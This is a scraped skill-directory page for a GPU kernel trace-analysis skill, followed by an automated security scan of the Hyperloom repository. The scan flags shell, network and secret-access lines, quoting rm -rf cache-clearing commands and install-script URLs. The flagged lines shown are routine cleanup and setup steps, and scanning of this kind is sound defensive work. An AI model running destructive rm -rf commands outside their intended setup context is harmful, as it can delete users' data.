Profile GPU kernels using rocprofv3 to collect ATT instruction-level traces, then analyze the trace data using hotspot_analyzer.py to identify top-K stall hotspots (VMEM-load, VMEM-wait, LDS/SMEM-wait, barrier, MFMA stalls) mapped back to source lines, and produce an actionable optimization plan. Usage: /kernel-trace-analysis <cmd> Can also analyze an existing dispatch dir directly: /kernel-trace-analysis --dir <path>
What it loads into context
Frontmatter
154 tokensAlways available to the agent
SKILL.md
5,651 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Arguments
- Analyzer Scripts
- Workflow
- Step 4: Run hotspot_analyzer.py
- Step 5: Interpret Results
- Step 6: Optimization Plan
- Error Handling
Scripts executed separately
scripts/hotspot_analyzer.pyscripts/pmc_l2_analyzer.py
Files
SKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesSKILL.mdcore18,793 bytesscripts/hotspot_analyzer.pyruns20,072 bytesscripts/pmc_l2_analyzer.pyruns3,421 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubSkills included
- hyperloom-remote-mn-qwen3-30b
- hyperloom-custom-advanced
- hyperloom-qwen3-14b-fp8-12h
- hyperloom-qwen3-14b-fp8-12h-forge
- hyperloom-qwen3-8b-3h
- hyperloom-workload-optimizer
- critic-agent
- quantization-agent
- inference_optimizer
- session_breakdown
- hyperloom.inference_optimizer.multi_node
- hyperloom-setup
- campaign-archive
- dashboard
- dossier
- geko-hipblaslt-tuning
- hardware
- kernels
- knowledge-collector
- merge-optimization-trees
- plan
- profiler
- realtime-collector
- serving-playbook
- hyperloom-kb
- kernel-trace-analysis
Repository facts
- License
- No license detected
- Created
- Mar 27, 2026
- Last pushed
- Nov 7, 2026
- Forks
- 79
- Open issues
- 13
- Project activity
- Active
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 7, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 285 notes
docs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddocs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddocs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddocs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddocs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddocs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddocs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddocs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddocs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddocs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedexamples/hyperloom-custom-advanced/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedexamples/hyperloom-custom-advanced/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedexamples/hyperloom-custom-advanced/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedexamples/hyperloom-custom-advanced/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedexamples/hyperloom-custom-advanced/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedexamples/hyperloom-custom-advanced/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedexamples/hyperloom-custom-advanced/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedexamples/hyperloom-custom-advanced/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedexamples/hyperloom-custom-advanced/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedexamples/hyperloom-custom-advanced/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- 1 broad permissionin 1 file: geko-hipblaslt-tuning/SKILL.md:1
- 134 dangerous shell commandsin 48 files: inference_optimizer/assets/install_baremetal.sh:755 inference_optimizer/assets/install_kernel_tools.sh:663 inference_optimizer/assets/install.sh:162 and 45 more
- 2,441 network referencesin 169 files: inference_optimizer/tests/test_preflight_auth_override.py:411 inference_optimizer/tests/test_llm_config.py:105 inference_optimizer/assets/install_baremetal.sh:37 and 166 more
- 1 obfuscation signalin 1 file: multi_node/scripts/patch_path_safety.py:216
- 4 instruction override signalsin 1 file: inference_optimizer/assets/slurm/_incontainer.sh.in:131
- 896 executable scriptsin 896 files: critic/__init__.py:1 critic/runtime/__init__.py:1 critic/runtime/cli.py:1 and 893 more
- 1,728 references to secretsin 220 files: inference_optimizer/tests/test_preflight_auth_override.py:73 inference_optimizer/tests/test_setup_cli.py:57 inference_optimizer/assets/install_baremetal.sh:14 and 217 more
- No requests to vote in Hot
Show all 5,205 signals by file
docs/reference/multi-node.md
- Network accessline 30
Hyperloom never provisions or releases a cluster. The provisioning platform (typically [Primus-Claw](https://github.com/AMD-AGI/Primus-Claw)) creates the GPU - Network accessline 31
(typically [Primus-Claw](https://github.com/AMD-AGI/Primus-Claw)) creates the GPU - Access to secretsline 87
[Credential-related source omitted] - Network accessline 154
The pinned workload skill at [`docs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md`](https://github.com/AMD-AGI/Hyperloom/blob/main/docs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md) - Network accessline 155
[`docs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md`](https://github.com/AMD-AGI/Hyperloom/blob/main/docs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md) - Network accessline 349
- [Workload skill](https://github.com/AMD-AGI/Hyperloom/blob/main/docs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md) — copy-paste flags and environment for Qwen3-30B-A3B - Network accessline 350
- [Primus-Claw](https://github.com/AMD-AGI/Primus-Claw) — provisions the cluster and hands it over - Network accessline 351
- [Multi-node CLI, SSH, and hand-off semantics](https://github.com/AMD-AGI/Hyperloom/blob/main/src/hyperloom/inference_optimizer/multi_node/SKILL.md)
examples/hyperloom-custom-advanced/SKILL.md
examples/hyperloom-qwen3-14b-fp8-12h-forge/SKILL.md
examples/hyperloom-qwen3-14b-fp8-12h/SKILL.md
- Access to secretsline 131
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 342
[Credential-related source omitted] - Access to secretsline 342
[Credential-related source omitted] - Access to secretsline 344
[Credential-related source omitted] - Access to secretsline 344
[Credential-related source omitted]
examples/hyperloom-qwen3-8b-3h/SKILL.md
src/hyperloom/agents/critic/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/cli.py
src/hyperloom/agents/critic/runtime/dead_letter.py
src/hyperloom/agents/critic/runtime/decision_reviewer.py
src/hyperloom/agents/critic/runtime/errors.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/importance_mapping.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/in_memory_kb_client.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/inbox_parser.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/intent_envelope.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/kb_client.py
- Executable scriptline 1
Executable file - Access to secretsline 68
[Credential-related source omitted] - Network accessline 105
attempt += 1 _require_http_url(url) req = urllib.request.Request(url, data=data, headers=headers, method="POST") - Network accessline 106
_require_http_url(url) req = urllib.request.Request(url, data=data, headers=headers, method="POST") try: - Network accessline 107
req = urllib.request.Request(url, data=data, headers=headers, method="POST") - Network accessline 108
try: with urllib.request.urlopen(req, timeout=self.timeout_s) as resp: # nosec B310 - URL scheme checked above. payload = resp.read().decode("utf-8") or "{}" - Network accessline 109
with urllib.request.urlopen(req, timeout=self.timeout_s) as resp: # nosec B310 - URL scheme checked above.
src/hyperloom/agents/critic/runtime/kb_writer.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/request_models.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/scope_builder.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/session_memory.py
src/hyperloom/agents/critic/runtime/slugify.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/tests/conftest.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/tests/test_cli.py
src/hyperloom/agents/critic/runtime/tests/test_critic_utils.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/tests/test_dead_letter.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/tests/test_decision_reviewer.py
src/hyperloom/agents/critic/runtime/tests/test_in_memory_kb_client.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/tests/test_intent_envelope.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/tests/test_kb_client_http_unit.py
- Executable scriptline 1
Executable file - Network accessline 37
def _http_error(code: int, body: bytes = b"err"): return urllib.error.HTTPError( url="http://kb.local/api/kb/upsert", - Network accessline 38
return urllib.error.HTTPError( url="http://kb.local/api/kb/upsert", code=code, - Network accessline 39
url="http://kb.local/api/kb/upsert", - Network accessline 52
[Credential-related source omitted] - Network accessline 53
[Credential-related source omitted] - Network accessline 54
[Credential-related source omitted] - Network accessline 55
assert client.base_url == "http://kb.local" - Network accessline 60
def test_endpoint_methods_build_bodies(monkeypatch) -> None: client = HTTPKBClient("http://kb.local") - Network accessline 61
client = HTTPKBClient("http://kb.local") - Network accessline 88
[Credential-related source omitted] - Network accessline 89
[Credential-related source omitted] - Network accessline 90
monkeypatch.setattr( "hyperloom.agents.critic.runtime.kb_client.urllib.request.urlopen", lambda req, timeout=None: _Resp(b'{"result": 1}', status=200), - Network accessline 91
"hyperloom.agents.critic.runtime.kb_client.urllib.request.urlopen", - Network accessline 98
def test_request_empty_body(monkeypatch) -> None: client = HTTPKBClient("http://kb.local") - Network accessline 99
client = HTTPKBClient("http://kb.local") monkeypatch.setattr( "hyperloom.agents.critic.runtime.kb_client.urllib.request.urlopen", - Network accessline 100
monkeypatch.setattr( "hyperloom.agents.critic.runtime.kb_client.urllib.request.urlopen", lambda req, timeout=None: _Resp(b"", status=200), - Network accessline 101
"hyperloom.agents.critic.runtime.kb_client.urllib.request.urlopen", - Network accessline 107
def test_request_404(monkeypatch) -> None: client = HTTPKBClient("http://kb.local") - Network accessline 108
client = HTTPKBClient("http://kb.local") - Network accessline 113
monkeypatch.setattr("hyperloom.agents.critic.runtime.kb_client.urllib.request.urlopen", boom) - Network accessline 118
def test_request_409(monkeypatch) -> None: client = HTTPKBClient("http://kb.local") - Network accessline 119
client = HTTPKBClient("http://kb.local") - Network accessline 124
monkeypatch.setattr("hyperloom.agents.critic.runtime.kb_client.urllib.request.urlopen", boom) - Network accessline 129
def test_request_validation_4xx(monkeypatch) -> None: client = HTTPKBClient("http://kb.local") - Network accessline 130
client = HTTPKBClient("http://kb.local") - Network accessline 135
monkeypatch.setattr("hyperloom.agents.critic.runtime.kb_client.urllib.request.urlopen", boom) - Network accessline 140
def test_request_5xx_retries_then_transport(monkeypatch) -> None: slept = [] client = HTTPKBClient("http://kb.local", retry_max=2, sleep_fn=slept.append) - Network accessline 142
client = HTTPKBClient("http://kb.local", retry_max=2, sleep_fn=slept.append) - Network accessline 147
monkeypatch.setattr("hyperloom.agents.critic.runtime.kb_client.urllib.request.urlopen", boom) - Network accessline 153
def test_request_urlerror_retries_then_transport(monkeypatch) -> None: slept = [] client = HTTPKBClient("http://kb.local", retry_max=1, sleep_fn=slept.append) - Network accessline 155
client = HTTPKBClient("http://kb.local", retry_max=1, sleep_fn=slept.append) - Network accessline 160
monkeypatch.setattr("hyperloom.agents.critic.runtime.kb_client.urllib.request.urlopen", boom) - Network accessline 166
def test_request_recovers_after_one_failure(monkeypatch) -> None: client = HTTPKBClient("http://kb.local", retry_max=3, sleep_fn=lambda _s: None) - Network accessline 167
client = HTTPKBClient("http://kb.local", retry_max=3, sleep_fn=lambda _s: None) - Network accessline 176
monkeypatch.setattr("hyperloom.agents.critic.runtime.kb_client.urllib.request.urlopen", flaky) - Network accessline 181
def test_backoff_grows(monkeypatch) -> None: monkeypatch.setattr("hyperloom.agents.critic.runtime.kb_client.random.random", lambda: 0.5) client = HTTPKBClient("http://kb.local") - Network accessline 182
monkeypatch.setattr("hyperloom.agents.critic.runtime.kb_client.random.random", lambda: 0.5) client = HTTPKBClient("http://kb.local") b1 = client._backoff_for(1) - Network accessline 183
client = HTTPKBClient("http://kb.local")
src/hyperloom/agents/critic/runtime/tests/test_kb_request.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/tests/test_kb_writer.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/tests/test_mappings.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/tests/test_request_models.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/tests/test_scope_builder.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/tests/test_session_memory.py
src/hyperloom/agents/critic/runtime/tests/test_session_memory_units.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/critic/runtime/tests/test_slugify.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/README.md
src/hyperloom/agents/quantization/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/cli.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/driver/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/driver/assessment.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/driver/eval.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/driver/outcomes.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/driver/result_collector.py
src/hyperloom/agents/quantization/driver/retry.py
src/hyperloom/agents/quantization/driver/runner.py
src/hyperloom/agents/quantization/tests/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/tests/conftest.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/tests/test_assessment.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/tests/test_assessment_classifier.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/tests/test_eval.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/tests/test_outcomes.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/tests/test_result_collector.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/tests/test_retry.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/tests/test_retry_loop.py
- Executable scriptline 1
Executable file
src/hyperloom/agents/quantization/tests/test_runner.py
src/hyperloom/agents/quantization/tests/test_runner_collector.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/SKILL.md
- Network accessline 107
`${HYPERLOOM_CACHE_DIR:-$REPO_ROOT/.cache}/TraceLens`; when unset, `src/hyperloom/inference_optimizer/assets/install.sh` clones [AMD-AGI/TraceLens](https://github.com/AMD-AGI/TraceLens) there and pins - Network accessline 107
`${HYPERLOOM_CACHE_DIR:-$REPO_ROOT/.cache}/TraceLens`; when unset, `src/hyperloom/inference_optimizer/assets/install.sh` clones [AMD-AGI/TraceLens](https://github.com/AMD-AGI/TraceLens) there and pins - Network accessline 108
`src/hyperloom/inference_optimizer/assets/install.sh` clones [AMD-AGI/TraceLens](https://github.com/AMD-AGI/TraceLens) there and pins it to a fixed SHA. A pre-existing checkout you maintain is only used as - Network accessline 108
`src/hyperloom/inference_optimizer/assets/install.sh` clones [AMD-AGI/TraceLens](https://github.com/AMD-AGI/TraceLens) there and pins it to a fixed SHA. A pre-existing checkout you maintain is only used as - Network accessline 109
[AMD-AGI/TraceLens](https://github.com/AMD-AGI/TraceLens) there and pins - Network accessline 109
[AMD-AGI/TraceLens](https://github.com/AMD-AGI/TraceLens) there and pins - Access to secretsline 502
[Credential-related source omitted] - Access to secretsline 502
[Credential-related source omitted] - Access to secretsline 518
[Credential-related source omitted] - Access to secretsline 518
[Credential-related source omitted] - Network accessline 685
1. **Gallery lookup** — fetch the LLM Architecture Gallery (`https://sebastianraschka.com/llm-architecture-gallery/`) and locate - Network accessline 685
1. **Gallery lookup** — fetch the LLM Architecture Gallery (`https://sebastianraschka.com/llm-architecture-gallery/`) and locate - Network accessline 686
(`https://sebastianraschka.com/llm-architecture-gallery/`) and locate - Network accessline 686
(`https://sebastianraschka.com/llm-architecture-gallery/`) and locate - Access to secretsline 871
[Credential-related source omitted] - Access to secretsline 871
[Credential-related source omitted] - Network accessline 884
Don't manually pip-install SDKs, start Ray, or `curl /v1/models` — `_preflight()` owns these. See `docs/reference/kernel-execution-path.md` - Network accessline 884
Don't manually pip-install SDKs, start Ray, or `curl /v1/models` — `_preflight()` owns these. See `docs/reference/kernel-execution-path.md` - Network accessline 885
or `curl /v1/models` — `_preflight()` owns these. See `docs/reference/kernel-execution-path.md` - Network accessline 885
or `curl /v1/models` — `_preflight()` owns these. See `docs/reference/kernel-execution-path.md` - Access to secretsline 902
[Credential-related source omitted] - Access to secretsline 902
[Credential-related source omitted] - Network accessline 906
[Credential-related source omitted] - Network accessline 906
[Credential-related source omitted] - Access to secretsline 906
[Credential-related source omitted] - Access to secretsline 906
[Credential-related source omitted] - Network accessline 1187
`*.pt.trace.json.gz` unchanged. atom source roots (`/app/ATOM/atom/`) are in the kernel search roots + `_REUSABLE_SOURCE_ROOTS`, and the repo URL `https://github.com/ROCm/ATOM.git` is atom's `FrameworkSpec.repo_url` in `framework_registry`. - Network accessline 1187
`*.pt.trace.json.gz` unchanged. atom source roots (`/app/ATOM/atom/`) are in the kernel search roots + `_REUSABLE_SOURCE_ROOTS`, and the repo URL `https://github.com/ROCm/ATOM.git` is atom's `FrameworkSpec.repo_url` in `framework_registry`. - Network accessline 1188
are in the kernel search roots + `_REUSABLE_SOURCE_ROOTS`, and the repo URL `https://github.com/ROCm/ATOM.git` is atom's `FrameworkSpec.repo_url` in `framework_registry`. Unlike sglang/vllm, atom ships a programmatic cold-start seed grid - Network accessline 1188
are in the kernel search roots + `_REUSABLE_SOURCE_ROOTS`, and the repo URL `https://github.com/ROCm/ATOM.git` is atom's `FrameworkSpec.repo_url` in `framework_registry`. Unlike sglang/vllm, atom ships a programmatic cold-start seed grid - Network accessline 1189
URL `https://github.com/ROCm/ATOM.git` is atom's `FrameworkSpec.repo_url` in `framework_registry`. - Network accessline 1189
URL `https://github.com/ROCm/ATOM.git` is atom's `FrameworkSpec.repo_url` in `framework_registry`. - Dangerous shell operationline 1457
rm -f "$PID_FILE" - Dangerous shell operationline 1457
rm -f "$PID_FILE" - Dangerous shell operationline 1631
| Triton | `~/.triton/cache/` (resolves via `$HOME`) | `rm -rf ~/.triton/cache` | - Dangerous shell operationline 1631
| Triton | `~/.triton/cache/` (resolves via `$HOME`) | `rm -rf ~/.triton/cache` | - Dangerous shell operationline 1632
| torch.compile / Inductor | `/tmp/torchinductor_<user>/` (override `$TORCHINDUCTOR_CACHE_DIR`) | `rm -rf /tmp/torchinductor_root` | - Dangerous shell operationline 1632
| torch.compile / Inductor | `/tmp/torchinductor_<user>/` (override `$TORCHINDUCTOR_CACHE_DIR`) | `rm -rf /tmp/torchinductor_root` | - Access to secretsline 1711
[Credential-related source omitted] - Access to secretsline 1711
[Credential-related source omitted] - Network accessline 1726
|---|---| | `--claude-model=... is not allowed` | You likely set `INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL=0`; unset it or set it to `1`, then ensure the model appears in the gateway `/models` catalog. | | `gateway catalog unreachable af - Network accessline 1726
|---|---| | `--claude-model=... is not allowed` | You likely set `INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL=0`; unset it or set it to `1`, then ensure the model appears in the gateway `/models` catalog. | | `gateway catalog unreachable af - Network accessline 1728
[Credential-related source omitted] - Network accessline 1728
[Credential-related source omitted] - Access to secretsline 1728
[Credential-related source omitted] - Access to secretsline 1728
[Credential-related source omitted]
src/hyperloom/inference_optimizer/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/actions/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/agentx/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/agentx/deploy.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/agentx/geak_proxy.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/agentx/mapping.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/agentx/preflight.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/agentx/report.py
- Executable scriptline 1
Executable file - Network accessline 57
"total_token_throughput": throughput.get("total_tokens_per_second"), "total_throughput": throughput.get("total_tokens_per_second"), "completed_requests": requests.get("successful"), - Network accessline 58
"total_throughput": throughput.get("total_tokens_per_second"), "completed_requests": requests.get("successful"), "requested_requests": requests.get("profiled_total"), - Network accessline 59
"completed_requests": requests.get("successful"), - Network accessline 60
"requested_requests": requests.get("profiled_total"), - Network accessline 61
"duration_seconds": throughput.get("duration_seconds"), "request_error_rate": None if requests.get("error_rate") is None else requests["error_rate"] * 100, "e2e_norm_intvty_p50": intvty.get("p50"), - Network accessline 62
"request_error_rate": None if requests.get("error_rate") is None else requests["error_rate"] * 100,
src/hyperloom/inference_optimizer/agentx/runtime.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/assets/agentx/map_mlperf.py
src/hyperloom/inference_optimizer/assets/agentx/mlperf_agentic_client.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 37
sock = socket.socket() - Dangerous shell operationline 49
rm -rf "$ART" - Dangerous shell operationline 73
rm -f "$PIDFILE" - Access to secretsline 208
[Credential-related source omitted] - Network accessline 213
port, want = sys.argv[1], sys.argv[2].lower() url = f"http://127.0.0.1:{port}/v1/models" - Network accessline 214
url = f"http://127.0.0.1:{port}/v1/models" try: with urllib.request.urlopen(url, timeout=30) as resp: - Network accessline 215
try: with urllib.request.urlopen(url, timeout=30) as resp: payload = json.load(resp) - Network accessline 216
with urllib.request.urlopen(url, timeout=30) as resp: - Access to secretsline 232
[Credential-related source omitted] - Access to secretsline 236
[Credential-related source omitted]
src/hyperloom/inference_optimizer/assets/check_magpie.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/assets/configs/baseline_sglang.yaml
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/assets/host_probe/hl_host_probe.py
- Executable scriptline 1
Executable file - Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 683
[Credential-related source omitted] - Access to secretsline 688
[Credential-related source omitted]
src/hyperloom/inference_optimizer/assets/host_probe/sitecustomize.py
src/hyperloom/inference_optimizer/assets/install.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 83
[Credential-related source omitted] - Network accessline 113
VLLM_IMAGE_SOURCE_ROOT="/app/vllm" VLLM_IMAGE_SOURCE_COMMIT="f46a9dfe2c5f57bebbd29556cbbb25eabd874226" VLLM_IMAGE_REPO="${VLLM_IMAGE_REPO:-https://github.com/vllm-project/vllm.git}" - Network accessline 114
VLLM_IMAGE_SOURCE_COMMIT="f46a9dfe2c5f57bebbd29556cbbb25eabd874226" VLLM_IMAGE_REPO="${VLLM_IMAGE_REPO:-https://github.com/vllm-project/vllm.git}" VLLM_IMAGE_SOURCE_ACTIVE=0 - Network accessline 115
VLLM_IMAGE_REPO="${VLLM_IMAGE_REPO:-https://github.com/vllm-project/vllm.git}" - Dangerous shell operationline 162
rm -rf -- "$stale" 2>/dev/null || true - Network accessline 169
MAGPIE_REPO="${MAGPIE_REPO:-https://github.com/AMD-AGI/Magpie.git}" - Network accessline 176
MAGPIE_REF="${MAGPIE_REF:-06b7cf6e185fdd49483a512e350cb3964ba3bf68}" MAGPIE_PACKAGE_SPEC="${MAGPIE_PACKAGE_SPEC:-magpie-eval @ git+${MAGPIE_REPO}@${MAGPIE_REF}}" - Network accessline 177
MAGPIE_PACKAGE_SPEC="${MAGPIE_PACKAGE_SPEC:-magpie-eval @ git+${MAGPIE_REPO}@${MAGPIE_REF}}" - Network accessline 186
fi MAGPIE_PATH="${MAGPIE_PATH:-${_open_source_root}/Magpie}" INFERENCEX_REPO="${INFERENCEX_REPO:-https://github.com/SemiAnalysisAI/InferenceX.git}" - Network accessline 188
INFERENCEX_REPO="${INFERENCEX_REPO:-https://github.com/SemiAnalysisAI/InferenceX.git}" - Network accessline 192
INFERENCEX_REF="${INFERENCEX_REF:-3d5581562f643f9bdeb8410cd924e2c70906c966}" _INFERENCEX_SHA="$(_resolve_ref_sha "$INFERENCEX_REPO" "$INFERENCEX_REF")" - Network accessline 193
_INFERENCEX_SHA="$(_resolve_ref_sha "$INFERENCEX_REPO" "$INFERENCEX_REF")" - Access to secretsline 208
[Credential-related source omitted] - Dangerous shell operationline 320
{ rm -f "$index_tmp"; die "failed to write the image baseline tree in ${root}"; return 1; } - Dangerous shell operationline 327
)" || { rm -f "$index_tmp"; die "failed to commit the image baseline tree in ${root}"; return 1; } - Network accessline 355
origin="$(git -C "$root" remote get-url origin 2>/dev/null || true)" if [ -z "$origin" ]; then git -C "$root" remote add origin "$VLLM_IMAGE_REPO" || - Network accessline 356
if [ -z "$origin" ]; then git -C "$root" remote add origin "$VLLM_IMAGE_REPO" || { die "failed to add vLLM image source remote"; return 1; } - Network accessline 357
git -C "$root" remote add origin "$VLLM_IMAGE_REPO" || - Network accessline 358
{ die "failed to add vLLM image source remote"; return 1; } elif [ "$origin" != "$VLLM_IMAGE_REPO" ]; then die "vLLM image source origin mismatch: ${origin}"; return 1 - Network accessline 359
elif [ "$origin" != "$VLLM_IMAGE_REPO" ]; then - Dangerous shell operationline 382
rm -f "$index_tmp"; die "failed to capture vLLM image tracked deltas"; return 1 - Access to secretsline 538
[Credential-related source omitted] - Access to secretsline 545
[Credential-related source omitted] - Access to secretsline 555
[Credential-related source omitted] - Access to secretsline 559
[Credential-related source omitted] - Access to secretsline 560
[Credential-related source omitted] - Network accessline 569
lowered="$(printf '%s' "$base" | tr '[:upper:]' '[:lower:]')" case "$lowered" in "") anthropic_url="https://api.deepseek.com/anthropic"; openai_url="https://api.deepseek.com/v1" ;; - Network accessline 570
case "$lowered" in "") anthropic_url="https://api.deepseek.com/anthropic"; openai_url="https://api.deepseek.com/v1" ;; */anthropic) anthropic_url="$base"; openai_url="${base%/*}/v1" ;; - Network accessline 571
"") anthropic_url="https://api.deepseek.com/anthropic"; openai_url="https://api.deepseek.com/v1" ;; - Network accessline 572
*/anthropic) anthropic_url="$base"; openai_url="${base%/*}/v1" ;; */v1) anthropic_url="${base%/*}/anthropic"; openai_url="$base" ;; https://api.deepseek.com|http://api.deepseek.com) - Network accessline 573
*/v1) anthropic_url="${base%/*}/anthropic"; openai_url="$base" ;; https://api.deepseek.com|http://api.deepseek.com) anthropic_url="${base}/anthropic"; openai_url="${base}/v1" ;; - Network accessline 574
https://api.deepseek.com|http://api.deepseek.com) - Access to secretsline 580
[Credential-related source omitted] - Access to secretsline 586
[Credential-related source omitted] - Access to secretsline 588
[Credential-related source omitted] - Access to secretsline 591
[Credential-related source omitted] - Access to secretsline 598
[Credential-related source omitted] - Network accessline 602
[Credential-related source omitted] - Access to secretsline 602
[Credential-related source omitted] - Network accessline 603
a_endpoint="https://api.anthropic.com" - Access to secretsline 605
[Credential-related source omitted] - Access to secretsline 606
[Credential-related source omitted] - Network accessline 607
[Credential-related source omitted] - Access to secretsline 607
[Credential-related source omitted] - Network accessline 608
[Credential-related source omitted] - Access to secretsline 608
[Credential-related source omitted] - Network accessline 609
[Credential-related source omitted] - Access to secretsline 609
[Credential-related source omitted] - Access to secretsline 612
[Credential-related source omitted] - Access to secretsline 613
[Credential-related source omitted] - Access to secretsline 614
[Credential-related source omitted] - Access to secretsline 616
[Credential-related source omitted] - Access to secretsline 618
[Credential-related source omitted] - Access to secretsline 622
[Credential-related source omitted] - Access to secretsline 637
[Credential-related source omitted] - Access to secretsline 640
[Credential-related source omitted] - Access to secretsline 641
[Credential-related source omitted] - Access to secretsline 647
[Credential-related source omitted] - Access to secretsline 649
[Credential-related source omitted] - Access to secretsline 666
[Credential-related source omitted] - Network accessline 668
Fix one of: 1. Anthropic: export ANTHROPIC_BASE_URL=https://api.anthropic.com - Network accessline 669
